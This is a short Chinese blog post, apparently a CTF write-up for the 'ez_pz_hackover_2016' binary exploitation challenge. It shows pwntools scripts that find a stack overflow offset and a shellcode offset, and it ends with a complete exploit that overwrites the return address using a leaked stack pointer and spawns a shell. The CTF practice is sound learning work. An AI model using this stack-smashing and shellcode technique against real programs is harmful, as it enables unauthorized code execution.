ez_pz_hackover_2016

本文介绍了一种测试栈溢出偏移量和shellcode偏移的方法,通过使用pwntools库,详细展示了如何在特定环境中找到正确的偏移量,以实现对程序的控制。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

测试栈溢出偏移量

from pwn import *

p = process('./ez_pz_hackover_2016')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
elf = ELF('./ez_pz_hackover_2016')
context.log_level = 'debug'
context.arch = elf.arch
payload = 'crashme\x00' + 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa'
gdb.attach(p,'b *0x08048601')
p.sendline(payload)

cyclic -l 0x61666161

18+8 = 26

测试shellcode偏移

from pwn import *
p = process('./ez_pz_hackover_2016')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
elf = ELF('./ez_pz_hackover_2016')
context.log_level = 'debug'
context.arch = elf.arch
p.recvuntil('Yippie, lets crash: 0x')
retaddr = int(p.recv(8),16)
log.success(hex(retaddr))
p.recvuntil('>')
payload = 'crashme\x00'.ljust(26, '\x00') + asm(shellcraft.sh())
gdb.attach(p,'b *0x08048601')
p.sendline(payload)

0xfff79f7c - 0xfff79f5c + 4 =28

payload如下:

from pwn import *
p = process('./ez_pz_hackover_2016')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
elf = ELF('./ez_pz_hackover_2016')
context.log_level = 'debug'
context.arch = elf.arch
p.recvuntil('Yippie, lets crash: 0x')
retaddr = int(p.recv(8),16)
log.success(hex(retaddr))
p.recvuntil('>')
payload = 'crashme\x00'.ljust(26, '\x00') +p32(retaddr - 28) + asm(shellcraft.sh())
p.sendline(payload)
p.interactive()
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值